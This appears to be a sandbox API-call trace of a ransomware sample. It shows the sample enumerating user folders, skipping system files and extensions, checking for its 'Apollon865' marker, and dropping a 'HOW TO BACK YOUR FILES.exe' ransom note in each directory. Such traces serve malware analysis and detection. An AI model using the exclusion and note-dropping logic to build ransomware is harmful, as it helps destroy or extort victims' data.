	[0040.690] lstrcmpiW (lpString1="d28KF4.flv", lpString2="Apollon865") returned 1
	[0040.690] lstrlenW (lpString=".dll") returned 4
	[0040.690] lstrcmpiW (lpString1="TZ7FpZuOS8d28KF4.flv", lpString2=".dll") returned 1
	[0040.690] lstrlenW (lpString=".lnk") returned 4
	[0040.690] lstrcmpiW (lpString1="TZ7FpZuOS8d28KF4.flv", lpString2=".lnk") returned 1
	[0040.690] lstrlenW (lpString=".ini") returned 4
	[0040.690] lstrcmpiW (lpString1="TZ7FpZuOS8d28KF4.flv", lpString2=".ini") returned 1
	[0040.690] lstrlenW (lpString=".sys") returned 4
	[0040.690] lstrcmpiW (lpString1="TZ7FpZuOS8d28KF4.flv", lpString2=".sys") returned 1
	[0040.690] lstrlenW (lpString="TZ7FpZuOS8d28KF4.flv") returned 20
	[0040.690] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP"
	[0040.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0040.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0040.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP") returned 66
	[0040.690] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP"
	[0040.690] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.690] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qupqreddvxdtuus-nt\\kx4wareop\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.697] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.697] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba3d0e0, ftCreationTime.dwHighDateTime=0x1d4d58e, ftLastAccessTime.dwLowDateTime=0x305d7b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x305d7b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.698] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.698] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.698] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.698] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba3d0e0, ftCreationTime.dwHighDateTime=0x1d4d58e, ftLastAccessTime.dwLowDateTime=0x305d7b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x305d7b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.698] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.698] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.698] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.698] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.698] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab6ff90, ftCreationTime.dwHighDateTime=0x1d4c5b3, ftLastAccessTime.dwLowDateTime=0x9e01e370, ftLastAccessTime.dwHighDateTime=0x1d4d308, ftLastWriteTime.dwLowDateTime=0x9e01e370, ftLastWriteTime.dwHighDateTime=0x1d4d308, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7mjzYY", cAlternateFileName="")) returned 1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="Apollon865.txt.exe") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2=".") returned 1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="..") returned 1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="windows") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="bootmgr") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="temp") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="pagefile.sys") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="boot") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="ids.txt") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="ntuser.dat") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="perflogs") returned -1
	[0040.698] lstrcmpiW (lpString1="7mjzYY", lpString2="MSBuild") returned -1
	[0040.698] lstrlenW (lpString="7mjzYY") returned 6
	[0040.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\*") returned 68
	[0040.698] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="7mjzYY" | out: lpString1="7mjzYY") returned="7mjzYY"
	[0040.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0040.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0040.698] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0040.698] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6020dac0, ftCreationTime.dwHighDateTime=0x1d4c656, ftLastAccessTime.dwLowDateTime=0x47c82e60, ftLastAccessTime.dwHighDateTime=0x1d4d213, ftLastWriteTime.dwLowDateTime=0x47c82e60, ftLastWriteTime.dwHighDateTime=0x1d4d213, nFileSizeHigh=0x0, nFileSizeLow=0x2102, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bppa0.doc", cAlternateFileName="")) returned 1
	[0040.698] lstrcmpiW (lpString1="Bppa0.doc", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.698] lstrcmpiW (lpString1="Bppa0.doc", lpString2="Apollon865.txt.exe") returned 1
	[0040.698] lstrcmpiW (lpString1="Bppa0.doc", lpString2=".") returned 1
	[0040.698] lstrcmpiW (lpString1="Bppa0.doc", lpString2="..") returned 1
	[0040.698] lstrcmpiW (lpString1="Bppa0.doc", lpString2="windows") returned -1
	[0040.698] lstrcmpiW (lpString1="Bppa0.doc", lpString2="bootmgr") returned 1
	[0040.699] lstrcmpiW (lpString1="Bppa0.doc", lpString2="temp") returned -1
	[0040.699] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Bppa0.doc" | out: lpString1="Bppa0.doc") returned="Bppa0.doc"
	[0040.699] lstrlenW (lpString="Bppa0.doc") returned 9
	[0040.699] lstrlenW (lpString="Apollon865") returned 10
	[0040.699] lstrlenW (lpString=".dll") returned 4
	[0040.699] lstrcmpiW (lpString1="Bppa0.doc", lpString2=".dll") returned 1
	[0040.699] lstrlenW (lpString=".lnk") returned 4
	[0040.699] lstrcmpiW (lpString1="Bppa0.doc", lpString2=".lnk") returned 1
	[0040.699] lstrlenW (lpString=".ini") returned 4
	[0040.699] lstrcmpiW (lpString1="Bppa0.doc", lpString2=".ini") returned 1
	[0040.699] lstrlenW (lpString=".sys") returned 4
	[0040.699] lstrcmpiW (lpString1="Bppa0.doc", lpString2=".sys") returned 1
	[0040.699] lstrlenW (lpString="Bppa0.doc") returned 9
	[0040.699] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="oPo6EGkCAMD" | out: lpString1="oPo6EGkCAMD") returned="oPo6EGkCAMD"
	[0040.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0040.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x5994f0
	[0040.699] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0040.699] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcea23e80, ftCreationTime.dwHighDateTime=0x1d4c7be, ftLastAccessTime.dwLowDateTime=0xf0835fc0, ftLastAccessTime.dwHighDateTime=0x1d4c7fa, ftLastWriteTime.dwLowDateTime=0xf0835fc0, ftLastWriteTime.dwHighDateTime=0x1d4c7fa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oPo6EGkCAMD", cAlternateFileName="OPO6EG~1")) returned 0
	[0040.699] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.699] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0040.699] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\oPo6EGkCAMD", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\oPo6EGkCAMD") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\oPo6EGkCAMD"
	[0040.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0040.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0040.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\oPo6EGkCAMD") returned 78
	[0040.699] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\oPo6EGkCAMD" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\oPo6EGkCAMD") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\oPo6EGkCAMD"
	[0040.699] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.699] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\oPo6EGkCAMD\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qupqreddvxdtuus-nt\\kx4wareop\\opo6egkcamd\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.704] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.704] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\oPo6EGkCAMD\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcea23e80, ftCreationTime.dwHighDateTime=0x1d4c7be, ftLastAccessTime.dwLowDateTime=0x305d7b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x305d7b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.704] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.704] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.704] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="6FYXIp567sD3St7OF.swf" | out: lpString1="6FYXIp567sD3St7OF.swf") returned="6FYXIp567sD3St7OF.swf"
	[0040.704] lstrlenW (lpString="6FYXIp567sD3St7OF.swf") returned 21
	[0040.704] lstrlenW (lpString="Apollon865") returned 10
	[0040.704] lstrcmpiW (lpString1="3St7OF.swf", lpString2="Apollon865") returned -1
	[0040.704] lstrlenW (lpString=".dll") returned 4
	[0040.704] lstrcmpiW (lpString1="6FYXIp567sD3St7OF.swf", lpString2=".dll") returned 1
	[0040.704] lstrlenW (lpString=".lnk") returned 4
	[0040.704] lstrcmpiW (lpString1="6FYXIp567sD3St7OF.swf", lpString2=".lnk") returned 1
	[0040.704] lstrlenW (lpString=".ini") returned 4
	[0040.704] lstrcmpiW (lpString1="6FYXIp567sD3St7OF.swf", lpString2=".ini") returned 1
	[0040.704] lstrlenW (lpString=".sys") returned 4
	[0040.704] lstrcmpiW (lpString1="6FYXIp567sD3St7OF.swf", lpString2=".sys") returned 1
	[0040.704] lstrlenW (lpString="6FYXIp567sD3St7OF.swf") returned 21
	[0040.705] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="CQc7H.jpg" | out: lpString1="CQc7H.jpg") returned="CQc7H.jpg"
	[0040.705] lstrlenW (lpString="CQc7H.jpg") returned 9
	[0040.705] lstrlenW (lpString="Apollon865") returned 10
	[0040.705] lstrlenW (lpString=".dll") returned 4
	[0040.705] lstrcmpiW (lpString1="CQc7H.jpg", lpString2=".dll") returned 1
	[0040.705] lstrlenW (lpString=".lnk") returned 4
	[0040.705] lstrcmpiW (lpString1="CQc7H.jpg", lpString2=".lnk") returned 1
	[0040.705] lstrlenW (lpString=".ini") returned 4
	[0040.705] lstrcmpiW (lpString1="CQc7H.jpg", lpString2=".ini") returned 1
	[0040.705] lstrlenW (lpString=".sys") returned 4
	[0040.705] lstrcmpiW (lpString1="CQc7H.jpg", lpString2=".sys") returned 1
	[0040.705] lstrlenW (lpString="CQc7H.jpg") returned 9
	[0040.705] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="rve6gTsPpt0qv7kDVy.gif" | out: lpString1="rve6gTsPpt0qv7kDVy.gif") returned="rve6gTsPpt0qv7kDVy.gif"
	[0040.705] lstrlenW (lpString="rve6gTsPpt0qv7kDVy.gif") returned 22
	[0040.705] lstrlenW (lpString="Apollon865") returned 10
	[0040.705] lstrcmpiW (lpString1="v7kDVy.gif", lpString2="Apollon865") returned 1
	[0040.705] lstrlenW (lpString=".dll") returned 4
	[0040.705] lstrcmpiW (lpString1="rve6gTsPpt0qv7kDVy.gif", lpString2=".dll") returned 1
	[0040.705] lstrlenW (lpString=".lnk") returned 4
	[0040.705] lstrcmpiW (lpString1="rve6gTsPpt0qv7kDVy.gif", lpString2=".lnk") returned 1
	[0040.705] lstrlenW (lpString=".ini") returned 4
	[0040.705] lstrcmpiW (lpString1="rve6gTsPpt0qv7kDVy.gif", lpString2=".ini") returned 1
	[0040.705] lstrlenW (lpString=".sys") returned 4
	[0040.705] lstrcmpiW (lpString1="rve6gTsPpt0qv7kDVy.gif", lpString2=".sys") returned 1
	[0040.705] lstrlenW (lpString="rve6gTsPpt0qv7kDVy.gif") returned 22
	[0040.705] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="szOot1.wav" | out: lpString1="szOot1.wav") returned="szOot1.wav"
	[0040.705] lstrlenW (lpString="szOot1.wav") returned 10
	[0040.705] lstrlenW (lpString="Apollon865") returned 10
	[0040.705] lstrlenW (lpString=".dll") returned 4
	[0040.705] lstrcmpiW (lpString1="szOot1.wav", lpString2=".dll") returned 1
	[0040.705] lstrlenW (lpString=".lnk") returned 4
	[0040.705] lstrcmpiW (lpString1="szOot1.wav", lpString2=".lnk") returned 1
	[0040.705] lstrlenW (lpString=".ini") returned 4
	[0040.705] lstrcmpiW (lpString1="szOot1.wav", lpString2=".ini") returned 1
	[0040.706] lstrlenW (lpString=".sys") returned 4
	[0040.706] lstrcmpiW (lpString1="szOot1.wav", lpString2=".sys") returned 1
	[0040.706] lstrlenW (lpString="szOot1.wav") returned 10
	[0040.706] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="tY-ZUvO.xlsx" | out: lpString1="tY-ZUvO.xlsx") returned="tY-ZUvO.xlsx"
	[0040.706] lstrlenW (lpString="tY-ZUvO.xlsx") returned 12
	[0040.706] lstrlenW (lpString="Apollon865") returned 10
	[0040.706] lstrcmpiW (lpString1="-ZUvO.xlsx", lpString2="Apollon865") returned 1
	[0040.706] lstrlenW (lpString=".dll") returned 4
	[0040.706] lstrcmpiW (lpString1="tY-ZUvO.xlsx", lpString2=".dll") returned 1
	[0040.706] lstrlenW (lpString=".lnk") returned 4
	[0040.706] lstrcmpiW (lpString1="tY-ZUvO.xlsx", lpString2=".lnk") returned 1
	[0040.706] lstrlenW (lpString=".ini") returned 4
	[0040.706] lstrcmpiW (lpString1="tY-ZUvO.xlsx", lpString2=".ini") returned 1
	[0040.706] lstrlenW (lpString=".sys") returned 4
	[0040.706] lstrcmpiW (lpString1="tY-ZUvO.xlsx", lpString2=".sys") returned 1
	[0040.706] lstrlenW (lpString="tY-ZUvO.xlsx") returned 12
	[0040.706] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="x5B53h4znXoNaDi.gif" | out: lpString1="x5B53h4znXoNaDi.gif") returned="x5B53h4znXoNaDi.gif"
	[0040.706] lstrlenW (lpString="x5B53h4znXoNaDi.gif") returned 19
	[0040.706] lstrlenW (lpString="Apollon865") returned 10
	[0040.706] lstrcmpiW (lpString1="XoNaDi.gif", lpString2="Apollon865") returned 1
	[0040.706] lstrlenW (lpString=".dll") returned 4
	[0040.706] lstrcmpiW (lpString1="x5B53h4znXoNaDi.gif", lpString2=".dll") returned 1
	[0040.706] lstrlenW (lpString=".lnk") returned 4
	[0040.706] lstrcmpiW (lpString1="x5B53h4znXoNaDi.gif", lpString2=".lnk") returned 1
	[0040.706] lstrlenW (lpString=".ini") returned 4
	[0040.706] lstrcmpiW (lpString1="x5B53h4znXoNaDi.gif", lpString2=".ini") returned 1
	[0040.706] lstrlenW (lpString=".sys") returned 4
	[0040.706] lstrcmpiW (lpString1="x5B53h4znXoNaDi.gif", lpString2=".sys") returned 1
	[0040.706] lstrlenW (lpString="x5B53h4znXoNaDi.gif") returned 19
	[0040.706] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\7mjzYY", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\7mjzYY") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\7mjzYY"
	[0040.706] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0040.706] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0040.707] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\7mjzYY") returned 73
	[0040.707] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\7mjzYY" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\7mjzYY") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\7mjzYY"
	[0040.707] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.707] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\7mjzYY\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qupqreddvxdtuus-nt\\kx4wareop\\7mjzyy\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.711] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.711] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP\\7mjzYY\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab6ff90, ftCreationTime.dwHighDateTime=0x1d4c5b3, ftLastAccessTime.dwLowDateTime=0x305fdcd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x305fdcd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.711] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.711] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.711] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="9nuIcwQPDZXHMC.avi" | out: lpString1="9nuIcwQPDZXHMC.avi") returned="9nuIcwQPDZXHMC.avi"
	[0040.711] lstrlenW (lpString="9nuIcwQPDZXHMC.avi") returned 18
	[0040.711] lstrlenW (lpString="Apollon865") returned 10
	[0040.711] lstrcmpiW (lpString1="DZXHMC.avi", lpString2="Apollon865") returned 1
	[0040.712] lstrlenW (lpString=".dll") returned 4
	[0040.712] lstrcmpiW (lpString1="9nuIcwQPDZXHMC.avi", lpString2=".dll") returned 1
	[0040.712] lstrlenW (lpString=".lnk") returned 4
	[0040.712] lstrcmpiW (lpString1="9nuIcwQPDZXHMC.avi", lpString2=".lnk") returned 1
	[0040.712] lstrlenW (lpString=".ini") returned 4
	[0040.712] lstrcmpiW (lpString1="9nuIcwQPDZXHMC.avi", lpString2=".ini") returned 1
	[0040.712] lstrlenW (lpString=".sys") returned 4
	[0040.712] lstrcmpiW (lpString1="9nuIcwQPDZXHMC.avi", lpString2=".sys") returned 1
	[0040.712] lstrlenW (lpString="9nuIcwQPDZXHMC.avi") returned 18
	[0040.712] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="i3Z7MrJQX OzOZ9p8Z_.png" | out: lpString1="i3Z7MrJQX OzOZ9p8Z_.png") returned="i3Z7MrJQX OzOZ9p8Z_.png"
	[0040.712] lstrlenW (lpString="i3Z7MrJQX OzOZ9p8Z_.png") returned 23
	[0040.712] lstrlenW (lpString="Apollon865") returned 10
	[0040.712] lstrcmpiW (lpString1="Z9p8Z_.png", lpString2="Apollon865") returned 1
	[0040.712] lstrlenW (lpString=".dll") returned 4
	[0040.712] lstrcmpiW (lpString1="i3Z7MrJQX OzOZ9p8Z_.png", lpString2=".dll") returned 1
	[0040.712] lstrlenW (lpString=".lnk") returned 4
	[0040.712] lstrcmpiW (lpString1="i3Z7MrJQX OzOZ9p8Z_.png", lpString2=".lnk") returned 1
	[0040.712] lstrlenW (lpString=".ini") returned 4
	[0040.712] lstrcmpiW (lpString1="i3Z7MrJQX OzOZ9p8Z_.png", lpString2=".ini") returned 1
	[0040.712] lstrlenW (lpString=".sys") returned 4
	[0040.712] lstrcmpiW (lpString1="i3Z7MrJQX OzOZ9p8Z_.png", lpString2=".sys") returned 1
	[0040.712] lstrlenW (lpString="i3Z7MrJQX OzOZ9p8Z_.png") returned 23
	[0040.712] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="mmwDeg76FVv0Q.ods" | out: lpString1="mmwDeg76FVv0Q.ods") returned="mmwDeg76FVv0Q.ods"
	[0040.712] lstrlenW (lpString="mmwDeg76FVv0Q.ods") returned 17
	[0040.712] lstrlenW (lpString="Apollon865") returned 10
	[0040.712] lstrcmpiW (lpString1="6FVv0Q.ods", lpString2="Apollon865") returned -1
	[0040.712] lstrlenW (lpString=".dll") returned 4
	[0040.712] lstrcmpiW (lpString1="mmwDeg76FVv0Q.ods", lpString2=".dll") returned 1
	[0040.712] lstrlenW (lpString=".lnk") returned 4
	[0040.712] lstrcmpiW (lpString1="mmwDeg76FVv0Q.ods", lpString2=".lnk") returned 1
	[0040.712] lstrlenW (lpString=".ini") returned 4
	[0040.712] lstrcmpiW (lpString1="mmwDeg76FVv0Q.ods", lpString2=".ini") returned 1
	[0040.712] lstrlenW (lpString=".sys") returned 4
	[0040.712] lstrcmpiW (lpString1="mmwDeg76FVv0Q.ods", lpString2=".sys") returned 1
	[0040.712] lstrlenW (lpString="mmwDeg76FVv0Q.ods") returned 17
	[0040.713] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="sRvNh.avi" | out: lpString1="sRvNh.avi") returned="sRvNh.avi"
	[0040.713] lstrlenW (lpString="sRvNh.avi") returned 9
	[0040.713] lstrlenW (lpString="Apollon865") returned 10
	[0040.713] lstrlenW (lpString=".dll") returned 4
	[0040.713] lstrcmpiW (lpString1="sRvNh.avi", lpString2=".dll") returned 1
	[0040.713] lstrlenW (lpString=".lnk") returned 4
	[0040.713] lstrcmpiW (lpString1="sRvNh.avi", lpString2=".lnk") returned 1
	[0040.713] lstrlenW (lpString=".ini") returned 4
	[0040.713] lstrcmpiW (lpString1="sRvNh.avi", lpString2=".ini") returned 1
	[0040.713] lstrlenW (lpString=".sys") returned 4
	[0040.713] lstrcmpiW (lpString1="sRvNh.avi", lpString2=".sys") returned 1
	[0040.713] lstrlenW (lpString="sRvNh.avi") returned 9
	[0040.713] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="ZfzJ7qxl.gif" | out: lpString1="ZfzJ7qxl.gif") returned="ZfzJ7qxl.gif"
	[0040.713] lstrlenW (lpString="ZfzJ7qxl.gif") returned 12
	[0040.713] lstrlenW (lpString="Apollon865") returned 10
	[0040.713] lstrcmpiW (lpString1="zJ7qxl.gif", lpString2="Apollon865") returned 1
	[0040.713] lstrlenW (lpString=".dll") returned 4
	[0040.713] lstrcmpiW (lpString1="ZfzJ7qxl.gif", lpString2=".dll") returned 1
	[0040.713] lstrlenW (lpString=".lnk") returned 4
	[0040.713] lstrcmpiW (lpString1="ZfzJ7qxl.gif", lpString2=".lnk") returned 1
	[0040.713] lstrlenW (lpString=".ini") returned 4
	[0040.713] lstrcmpiW (lpString1="ZfzJ7qxl.gif", lpString2=".ini") returned 1
	[0040.713] lstrlenW (lpString=".sys") returned 4
	[0040.713] lstrcmpiW (lpString1="ZfzJ7qxl.gif", lpString2=".sys") returned 1
	[0040.713] lstrlenW (lpString="ZfzJ7qxl.gif") returned 12
